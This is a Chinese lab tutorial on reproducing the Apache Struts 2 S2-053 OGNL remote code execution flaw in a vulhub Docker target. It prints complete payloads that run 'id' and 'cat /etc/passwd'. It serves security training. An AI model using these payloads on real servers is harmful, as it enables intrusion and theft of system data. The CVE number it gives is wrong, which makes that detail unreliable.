当前位置:首页>java>网安实验干货每日分享S2-053远程代码执行漏洞-0129

网安实验干货每日分享S2-053远程代码执行漏洞-0129

  • 2026-09-09 09:38:44
网安实验干货每日分享S2-053远程代码执行漏洞-0129

S2-053远程代码执行漏洞

实验目的

通过本实验,掌握S2-053远程代码执行漏洞的攻击方法和防御措施。

实验环境

·操作机:Win10用户名:Administrator密码:Sangfor!7890

·靶机:Ubuntu + docker用户名:root密码:Sangfor!7890

·实验地址:http://靶机ip:8080/hello.action

实验原理

继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。影响版本:Struts 2.0.1、Struts 2.3.33、Struts 2.5 – Struts 2.5.10当开发者在Freemarker标签中使用如下代码时,Freemarker会将值当作表达式进行执行(Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成一个表达式,被OGNL解析第二次),最后导致远程代码执行。

实验步骤

第一步启动目标靶机的环境

1、登陆"S2-053"靶机,执行如下命令,进入目标环境所在目录

cd /vulhub-master

cd struts2

cd s2-053

 2、执行以下命令,运行目标靶机的环境

docker-compose up -d

3、登录“Attack”操作机,打开浏览器,访问http://靶机ip:8080,看到页面正显示,说明靶机环境启动成功

第二步漏洞复现

4、通过“Attack”操作机的浏览器访问http://靶机ip:8080/hello.action,可以看到一个提交页面

5、在此页面下输入payload即可执行命令

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

 6、将上一步所用POC代码中的“id”处修改为“cat /etc/passwd”,即:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

 注意:上述Payload末尾的换行不能少(也就是说payload后面必须跟一个换行)

实验总结

通过本实验,成功实现了命令执行,通过该漏洞可以执行系统命令,加深对Struts2框架的利用和防御。

最新文章

随机文章